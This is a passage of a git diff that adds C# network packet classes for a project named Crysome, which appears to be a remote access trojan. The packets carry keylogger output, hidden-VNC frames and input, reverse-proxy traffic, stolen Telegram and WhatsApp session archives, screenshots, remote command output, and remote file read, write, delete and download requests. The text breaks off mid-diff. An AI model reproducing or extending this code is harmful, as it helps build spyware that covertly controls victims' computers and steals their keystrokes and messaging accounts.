WritePngArray(w, FolderIconPng, num); + WritePngArray(w, FileIconPng, num2); + w.Write(RequestId); + } + + private static void WritePngArray(BinaryWriter w, byte[][] arr, int count) + { + for (int i = 0; i < count; i++) + { + byte[] array = ((arr != null && i < arr.Length) ? arr[i] : null); + int num = ((array != null) ? array.Length : 0); + w.Write(num); + if (num > 0) + { + w.Write(array); + } + } + } + + private static byte[][] ReadPngArray(BinaryReader r, int count) + { + byte[][] array = new byte[count][]; + for (int i = 0; i < count; i++) + { + int num = r.ReadInt32(); + array[i] = ((num > 0) ? r.ReadBytes(num) : null); + } + return array; + } + + public void Read(BinaryReader r) + { + Name = r.ReadString(); + Path = r.ReadString(); + int num = r.ReadInt32(); + Folders = new string[num]; + for (int i = 0; i < num; i++) + { + Folders[i] = r.ReadString(); + } + int num2 = r.ReadInt32(); + Files = new string[num2]; + for (int j = 0; j < num2; j++) + { + Files[j] = r.ReadString(); + } + int num3 = r.ReadInt32(); + FileSizes = new long[num3]; + for (int k = 0; k < num3; k++) + { + FileSizes[k] = r.ReadInt64(); + } + FolderLastWriteUtcTicks = null; + FileLastWriteUtcTicks = null; + FolderIconPng = null; + FileIconPng = null; + RequestId = 0L; + if (r.BaseStream.Position >= r.BaseStream.Length) + { + return; + } + FolderLastWriteUtcTicks = new long[num]; + for (int l = 0; l < num; l++) + { + FolderLastWriteUtcTicks[l] = r.ReadInt64(); + } + if (r.BaseStream.Position >= r.BaseStream.Length) + { + return; + } + FileLastWriteUtcTicks = new long[num2]; + for (int m = 0; m < num2; m++) + { + FileLastWriteUtcTicks[m] = r.ReadInt64(); + } + if (r.BaseStream.Position < r.BaseStream.Length) + { + FolderIconPng = ReadPngArray(r, num); + FileIconPng = ReadPngArray(r, num2); + if (r.BaseStream.Position < r.BaseStream.Length) + { + RequestId = r.ReadInt64(); + } + } + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/GetDrivesResponsePacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/GetDrivesResponsePacket.cs new file mode 100644 index 0000000..d6eafdd --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/GetDrivesResponsePacket.cs @@ -0,0 +1,44 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class GetDrivesResponsePacket : IPacket +{ + public string[] Drives { get; set; } + + public long RequestId { get; set; } + + public GetDrivesResponsePacket() + { + } + + public GetDrivesResponsePacket(string[] drives, long requestId = 0L) + { + Drives = drives; + RequestId = requestId; + } + + public void Write(BinaryWriter w) + { + w.Write((Drives != null) ? Drives.Length : 0); + if (Drives != null) + { + for (int i = 0; i < Drives.Length; i++) + { + w.Write(Drives[i] ?? ""); + } + } + w.Write(RequestId); + } + + public void Read(BinaryReader r) + { + int num = r.ReadInt32(); + Drives = new string[num]; + for (int i = 0; i < num; i++) + { + Drives[i] = r.ReadString(); + } + RequestId = ((r.BaseStream.Position < r.BaseStream.Length) ? r.ReadInt64() : 0); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/GetProcessListResponsePacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/GetProcessListResponsePacket.cs new file mode 100644 index 0000000..0bb589e --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/GetProcessListResponsePacket.cs @@ -0,0 +1,42 @@ +using System.Collections.Generic; +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class GetProcessListResponsePacket : IPacket +{ + public List Processes { get; set; } = new List(); + + public void Write(BinaryWriter w) + { + w.Write(Processes?.Count ?? 0); + if (Processes == null) + { + return; + } + foreach (ProcessListEntry process in Processes) + { + w.Write(process.Name ?? ""); + w.Write(process.Pid); + w.Write((process.IconData != null) ? process.IconData.Length : 0); + if (process.IconData != null && process.IconData.Length != 0) + { + w.Write(process.IconData); + } + } + } + + public void Read(BinaryReader r) + { + Processes = new List(); + int num = r.ReadInt32(); + for (int i = 0; i < num; i++) + { + string name = r.ReadString(); + int pid = r.ReadInt32(); + int num2 = r.ReadInt32(); + byte[] iconData = ((num2 > 0) ? r.ReadBytes(num2) : new byte[0]); + Processes.Add(new ProcessListEntry(name, pid, iconData)); + } + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/GetSystemInfoResponsePacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/GetSystemInfoResponsePacket.cs new file mode 100644 index 0000000..d0bd3c4 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/GetSystemInfoResponsePacket.cs @@ -0,0 +1,52 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class GetSystemInfoResponsePacket : IPacket +{ + public string Identifier { get; set; } + + public string Address { get; set; } + + public int Port { get; set; } + + public string Username { get; set; } + + public string ComputerName { get; set; } + + public string OS { get; set; } + + public GetSystemInfoResponsePacket() + { + } + + public GetSystemInfoResponsePacket(string identifier, string address, int port, string username, string computerName, string os) + { + Identifier = identifier; + Address = address; + Port = port; + Username = username; + ComputerName = computerName; + OS = os; + } + + public void Write(BinaryWriter w) + { + w.Write(Identifier ?? ""); + w.Write(Address ?? ""); + w.Write(Port); + w.Write(Username ?? ""); + w.Write(ComputerName ?? ""); + w.Write(OS ?? ""); + } + + public void Read(BinaryReader r) + { + Identifier = r.ReadString(); + Address = r.ReadString(); + Port = r.ReadInt32(); + Username = r.ReadString(); + ComputerName = r.ReadString(); + OS = r.ReadString(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/HvncFramePacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/HvncFramePacket.cs new file mode 100644 index 0000000..df7ef58 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/HvncFramePacket.cs @@ -0,0 +1,32 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class HvncFramePacket : IPacket +{ + public byte[] ImageData { get; set; } + + public HvncFramePacket() + { + } + + public HvncFramePacket(byte[] imageData) + { + ImageData = imageData; + } + + public void Write(BinaryWriter w) + { + w.Write((ImageData != null) ? ImageData.Length : 0); + if (ImageData != null && ImageData.Length != 0) + { + w.Write(ImageData); + } + } + + public void Read(BinaryReader r) + { + int num = r.ReadInt32(); + ImageData = ((num > 0) ? r.ReadBytes(num) : new byte[0]); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/KeylogDataPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/KeylogDataPacket.cs new file mode 100644 index 0000000..1255ef4 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/KeylogDataPacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class KeylogDataPacket : IPacket +{ + public string Data { get; set; } = ""; + + public KeylogDataPacket() + { + } + + public KeylogDataPacket(string data) + { + Data = data ?? ""; + } + + public void Write(BinaryWriter w) + { + w.Write(Data ?? ""); + } + + public void Read(BinaryReader r) + { + Data = r.ReadString(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/NotifyStatusResponsePacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/NotifyStatusResponsePacket.cs new file mode 100644 index 0000000..5a2a8a3 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/NotifyStatusResponsePacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class NotifyStatusResponsePacket : IPacket +{ + public string StatusMessage { get; set; } + + public NotifyStatusResponsePacket() + { + } + + public NotifyStatusResponsePacket(string statusMessage) + { + StatusMessage = statusMessage; + } + + public void Write(BinaryWriter w) + { + w.Write(StatusMessage ?? ""); + } + + public void Read(BinaryReader r) + { + StatusMessage = r.ReadString(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/OfflineKeylogDataPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/OfflineKeylogDataPacket.cs new file mode 100644 index 0000000..6ad2b19 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/OfflineKeylogDataPacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class OfflineKeylogDataPacket : IPacket +{ + public string Data { get; set; } + + public OfflineKeylogDataPacket() + { + } + + public OfflineKeylogDataPacket(string data) + { + Data = data; + } + + public void Write(BinaryWriter w) + { + w.Write(Data ?? ""); + } + + public void Read(BinaryReader r) + { + Data = r.ReadString(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/PingResponsePacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/PingResponsePacket.cs new file mode 100644 index 0000000..836a708 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/PingResponsePacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class PingResponsePacket : IPacket +{ + public long ServerTick { get; set; } + + public PingResponsePacket() + { + } + + public PingResponsePacket(long serverTick) + { + ServerTick = serverTick; + } + + public void Write(BinaryWriter w) + { + w.Write(ServerTick); + } + + public void Read(BinaryReader r) + { + ServerTick = r.ReadInt64(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ProcessListEntry.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ProcessListEntry.cs new file mode 100644 index 0000000..fe42df6 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ProcessListEntry.cs @@ -0,0 +1,21 @@ +namespace Crysome.Common.Network.Packets.Client; + +public class ProcessListEntry +{ + public string Name { get; set; } + + public int Pid { get; set; } + + public byte[] IconData { get; set; } + + public ProcessListEntry() + { + } + + public ProcessListEntry(string name, int pid, byte[] iconData) + { + Name = name ?? ""; + Pid = pid; + IconData = iconData ?? new byte[0]; + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ProxyStatusResponsePacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ProxyStatusResponsePacket.cs new file mode 100644 index 0000000..fa772c3 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ProxyStatusResponsePacket.cs @@ -0,0 +1,33 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class ProxyStatusResponsePacket : IPacket +{ + public bool Active { get; set; } + + public string Message { get; set; } + + public ProxyStatusResponsePacket() + { + Message = ""; + } + + public ProxyStatusResponsePacket(bool active, string message) + { + Active = active; + Message = message ?? ""; + } + + public void Write(BinaryWriter w) + { + w.Write(Active); + w.Write(Message ?? ""); + } + + public void Read(BinaryReader r) + { + Active = r.ReadBoolean(); + Message = r.ReadString(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ReadFileResponsePacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ReadFileResponsePacket.cs new file mode 100644 index 0000000..e475321 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ReadFileResponsePacket.cs @@ -0,0 +1,48 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class ReadFileResponsePacket : IPacket +{ + public bool Success { get; set; } + + public string ErrorMessage { get; set; } + + public byte[] Data { get; set; } + + public long TransferId { get; set; } + + public ReadFileResponsePacket() + { + } + + public ReadFileResponsePacket(bool success, string errorMessage = null, byte[] data = null, long transferId = 0L) + { + Success = success; + ErrorMessage = errorMessage ?? ""; + Data = data; + TransferId = transferId; + } + + public void Write(BinaryWriter w) + { + w.Write(Success); + w.Write(ErrorMessage ?? ""); + int num = ((Data != null) ? Data.Length : 0); + w.Write(num); + if (Data != null && num > 0) + { + w.Write(Data); + } + w.Write(TransferId); + } + + public void Read(BinaryReader r) + { + Success = r.ReadBoolean(); + ErrorMessage = r.ReadString(); + int num = r.ReadInt32(); + Data = ((num > 0) ? r.ReadBytes(num) : null); + TransferId = ((r.BaseStream.Position < r.BaseStream.Length) ? r.ReadInt64() : 0); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ReverseProxyDataPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ReverseProxyDataPacket.cs new file mode 100644 index 0000000..c7ba252 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ReverseProxyDataPacket.cs @@ -0,0 +1,37 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class ReverseProxyDataPacket : IPacket +{ + public int ConnectionId { get; set; } + + public byte[] Data { get; set; } + + public ReverseProxyDataPacket() + { + } + + public ReverseProxyDataPacket(int connectionId, byte[] data) + { + ConnectionId = connectionId; + Data = data ?? new byte[0]; + } + + public void Write(BinaryWriter w) + { + w.Write(ConnectionId); + w.Write((Data != null) ? Data.Length : 0); + if (Data != null && Data.Length != 0) + { + w.Write(Data); + } + } + + public void Read(BinaryReader r) + { + ConnectionId = r.ReadInt32(); + int num = r.ReadInt32(); + Data = ((num > 0) ? r.ReadBytes(num) : new byte[0]); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ReverseProxyEndPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ReverseProxyEndPacket.cs new file mode 100644 index 0000000..4a51e38 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ReverseProxyEndPacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class ReverseProxyEndPacket : IPacket +{ + public int ConnectionId { get; set; } + + public ReverseProxyEndPacket() + { + } + + public ReverseProxyEndPacket(int connectionId) + { + ConnectionId = connectionId; + } + + public void Write(BinaryWriter w) + { + w.Write(ConnectionId); + } + + public void Read(BinaryReader r) + { + ConnectionId = r.ReadInt32(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/RunCommandResponsePacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/RunCommandResponsePacket.cs new file mode 100644 index 0000000..c6d9dbf --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/RunCommandResponsePacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class RunCommandResponsePacket : IPacket +{ + public string Output { get; set; } + + public RunCommandResponsePacket() + { + } + + public RunCommandResponsePacket(string output) + { + Output = output; + } + + public void Write(BinaryWriter w) + { + w.Write(Output ?? ""); + } + + public void Read(BinaryReader r) + { + Output = r.ReadString(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ScreenInfo.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ScreenInfo.cs new file mode 100644 index 0000000..9e298d5 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ScreenInfo.cs @@ -0,0 +1,16 @@ +namespace Crysome.Common.Network.Packets.Client; + +public class ScreenInfo +{ + public string Name { get; set; } + + public int X { get; set; } + + public int Y { get; set; } + + public int Width { get; set; } + + public int Height { get; set; } + + public bool IsPrimary { get; set; } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ScreensResponsePacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ScreensResponsePacket.cs new file mode 100644 index 0000000..ab3eb1d --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/ScreensResponsePacket.cs @@ -0,0 +1,55 @@ +using System; +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class ScreensResponsePacket : IPacket +{ + public ScreenInfo[] Screens { get; set; } = Array.Empty(); + + public ScreensResponsePacket() + { + } + + public ScreensResponsePacket(ScreenInfo[] screens) + { + Screens = screens ?? Array.Empty(); + } + + public void Write(BinaryWriter w) + { + ScreenInfo[] screens = Screens; + w.Write((screens != null) ? screens.Length : 0); + if (Screens != null) + { + ScreenInfo[] screens2 = Screens; + foreach (ScreenInfo screenInfo in screens2) + { + w.Write(screenInfo.Name ?? ""); + w.Write(screenInfo.X); + w.Write(screenInfo.Y); + w.Write(screenInfo.Width); + w.Write(screenInfo.Height); + w.Write(screenInfo.IsPrimary); + } + } + } + + public void Read(BinaryReader r) + { + int num = r.ReadInt32(); + Screens = new ScreenInfo[num]; + for (int i = 0; i < num; i++) + { + Screens[i] = new ScreenInfo + { + Name = r.ReadString(), + X = r.ReadInt32(), + Y = r.ReadInt32(), + Width = r.ReadInt32(), + Height = r.ReadInt32(), + IsPrimary = r.ReadBoolean() + }; + } + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/TakeScreenshotResponsePacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/TakeScreenshotResponsePacket.cs new file mode 100644 index 0000000..b41a3cd --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/TakeScreenshotResponsePacket.cs @@ -0,0 +1,32 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class TakeScreenshotResponsePacket : IPacket +{ + public byte[] ImageData { get; set; } + + public TakeScreenshotResponsePacket() + { + } + + public TakeScreenshotResponsePacket(byte[] imageData) + { + ImageData = imageData; + } + + public void Write(BinaryWriter w) + { + w.Write((ImageData != null) ? ImageData.Length : 0); + if (ImageData != null) + { + w.Write(ImageData); + } + } + + public void Read(BinaryReader r) + { + int count = r.ReadInt32(); + ImageData = r.ReadBytes(count); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/TelegramSessionResponsePacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/TelegramSessionResponsePacket.cs new file mode 100644 index 0000000..30118dd --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/TelegramSessionResponsePacket.cs @@ -0,0 +1,33 @@ +using System; +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class TelegramSessionResponsePacket : IPacket +{ + public string UserName { get; set; } + + public byte[] ZipBytes { get; set; } + + public string Error { get; set; } + + public void Write(BinaryWriter w) + { + w.Write(UserName ?? ""); + w.Write(Error ?? ""); + byte[] zipBytes = ZipBytes; + w.Write((zipBytes != null) ? zipBytes.Length : 0); + if (ZipBytes != null && ZipBytes.Length != 0) + { + w.Write(ZipBytes); + } + } + + public void Read(BinaryReader r) + { + UserName = r.ReadString(); + Error = r.ReadString(); + int num = r.ReadInt32(); + ZipBytes = ((num > 0) ? r.ReadBytes(num) : Array.Empty()); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/WhatsAppSessionResponsePacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/WhatsAppSessionResponsePacket.cs new file mode 100644 index 0000000..aae8caa --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/WhatsAppSessionResponsePacket.cs @@ -0,0 +1,43 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class WhatsAppSessionResponsePacket : IPacket +{ + public bool Success { get; set; } + + public string ErrorMessage { get; set; } + + public byte[] ZipData { get; set; } + + public WhatsAppSessionResponsePacket() + { + } + + public WhatsAppSessionResponsePacket(bool success, string errorMessage, byte[] zipData) + { + Success = success; + ErrorMessage = errorMessage ?? ""; + ZipData = zipData; + } + + public void Write(BinaryWriter w) + { + w.Write(Success); + w.Write(ErrorMessage ?? ""); + int num = ((ZipData != null) ? ZipData.Length : 0); + w.Write(num); + if (num > 0) + { + w.Write(ZipData); + } + } + + public void Read(BinaryReader r) + { + Success = r.ReadBoolean(); + ErrorMessage = r.ReadString(); + int num = r.ReadInt32(); + ZipData = ((num > 0) ? r.ReadBytes(num) : new byte[0]); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/WriteFileResponsePacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/WriteFileResponsePacket.cs new file mode 100644 index 0000000..3679ee3 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Client/WriteFileResponsePacket.cs @@ -0,0 +1,26 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Client; + +public class WriteFileResponsePacket : IPacket +{ + public bool Success { get; set; } + + public string ErrorMessage { get; set; } + + public long TransferId { get; set; } + + public void Write(BinaryWriter w) + { + w.Write(Success); + w.Write(ErrorMessage ?? ""); + w.Write(TransferId); + } + + public void Read(BinaryReader r) + { + Success = r.ReadBoolean(); + ErrorMessage = r.ReadString(); + TransferId = r.ReadInt64(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/ClientInfoRequestPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/ClientInfoRequestPacket.cs new file mode 100644 index 0000000..4f4b2da --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/ClientInfoRequestPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class ClientInfoRequestPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/DeleteFileRequestPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/DeleteFileRequestPacket.cs new file mode 100644 index 0000000..ae8a965 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/DeleteFileRequestPacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class DeleteFileRequestPacket : IPacket +{ + public string Path { get; set; } + + public DeleteFileRequestPacket() + { + } + + public DeleteFileRequestPacket(string path) + { + Path = path; + } + + public void Write(BinaryWriter w) + { + w.Write(Path ?? ""); + } + + public void Read(BinaryReader r) + { + Path = r.ReadString(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/DirectLinkRequestPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/DirectLinkRequestPacket.cs new file mode 100644 index 0000000..57a8a3b --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/DirectLinkRequestPacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class DirectLinkRequestPacket : IPacket +{ + public string Url { get; set; } + + public DirectLinkRequestPacket() + { + } + + public DirectLinkRequestPacket(string url) + { + Url = url; + } + + public void Write(BinaryWriter w) + { + w.Write(Url ?? ""); + } + + public void Read(BinaryReader r) + { + Url = r.ReadString(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/DownloadFileRequestPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/DownloadFileRequestPacket.cs new file mode 100644 index 0000000..b3a1850 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/DownloadFileRequestPacket.cs @@ -0,0 +1,27 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class DownloadFileRequestPacket : IPacket +{ + public string Url { get; set; } + + public DownloadFileRequestPacket() + { + } + + public DownloadFileRequestPacket(string url) + { + Url = url; + } + + public void Write(BinaryWriter w) + { + w.Write(Url ?? ""); + } + + public void Read(BinaryReader r) + { + Url = r.ReadString(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/FileTransferRequestPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/FileTransferRequestPacket.cs new file mode 100644 index 0000000..4be5004 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/FileTransferRequestPacket.cs @@ -0,0 +1,37 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class FileTransferRequestPacket : IPacket +{ + public string Filename { get; set; } + + public byte[] FileData { get; set; } + + public FileTransferRequestPacket() + { + } + + public FileTransferRequestPacket(string filename, byte[] fileData) + { + Filename = filename; + FileData = fileData; + } + + public void Write(BinaryWriter w) + { + w.Write(Filename ?? ""); + w.Write((FileData != null) ? FileData.Length : 0); + if (FileData != null) + { + w.Write(FileData); + } + } + + public void Read(BinaryReader r) + { + Filename = r.ReadString(); + int count = r.ReadInt32(); + FileData = r.ReadBytes(count); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/GetAudioDevicesPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/GetAudioDevicesPacket.cs new file mode 100644 index 0000000..aea354c --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/GetAudioDevicesPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class GetAudioDevicesPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/GetCameraDevicesPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/GetCameraDevicesPacket.cs new file mode 100644 index 0000000..ecf50b4 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/GetCameraDevicesPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class GetCameraDevicesPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/GetDirectoryRequestPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/GetDirectoryRequestPacket.cs new file mode 100644 index 0000000..c4d5c81 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/GetDirectoryRequestPacket.cs @@ -0,0 +1,32 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class GetDirectoryRequestPacket : IPacket +{ + public string Path { get; set; } + + public long RequestId { get; set; } + + public GetDirectoryRequestPacket() + { + } + + public GetDirectoryRequestPacket(string path, long requestId = 0L) + { + Path = path; + RequestId = requestId; + } + + public void Write(BinaryWriter w) + { + w.Write(Path ?? ""); + w.Write(RequestId); + } + + public void Read(BinaryReader r) + { + Path = r.ReadString(); + RequestId = ((r.BaseStream.Position < r.BaseStream.Length) ? r.ReadInt64() : 0); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/GetDrivesRequestPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/GetDrivesRequestPacket.cs new file mode 100644 index 0000000..95cd8c4 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/GetDrivesRequestPacket.cs @@ -0,0 +1,18 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class GetDrivesRequestPacket : IPacket +{ + public long RequestId { get; set; } + + public void Write(BinaryWriter w) + { + w.Write(RequestId); + } + + public void Read(BinaryReader r) + { + RequestId = ((r.BaseStream.Position < r.BaseStream.Length) ? r.ReadInt64() : 0); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/GetProcessListRequestPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/GetProcessListRequestPacket.cs new file mode 100644 index 0000000..f2f6018 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/GetProcessListRequestPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class GetProcessListRequestPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/GetScreensRequestPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/GetScreensRequestPacket.cs new file mode 100644 index 0000000..f4000bb --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/GetScreensRequestPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class GetScreensRequestPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/GetSystemInfoRequestPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/GetSystemInfoRequestPacket.cs new file mode 100644 index 0000000..597ddf1 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/GetSystemInfoRequestPacket.cs @@ -0,0 +1,14 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class GetSystemInfoRequestPacket : IPacket +{ + public void Write(BinaryWriter w) + { + } + + public void Read(BinaryReader r) + { + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/HvncInputPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/HvncInputPacket.cs new file mode 100644 index 0000000..3b9bde8 --- /dev/null +++ b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/HvncInputPacket.cs @@ -0,0 +1,26 @@ +using System.IO; + +namespace Crysome.Common.Network.Packets.Server; + +public class HvncInputPacket : IPacket +{ + public int Msg { get; set; } + + public int WParam { get; set; } + + public int LParam { get; set; } + + public void Write(BinaryWriter w) + { + w.Write(Msg); + w.Write(WParam); + w.Write(LParam); + } + + public void Read(BinaryReader r) + { + Msg = r.ReadInt32(); + WParam = r.ReadInt32(); + LParam = r.ReadInt32(); + } +} diff --git a/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/HvncRunRequestPacket.cs b/Crysome.Common.Client/Crysome.Common.Network.Packets.Server/HvncRunRequestPacket.cs new file mode 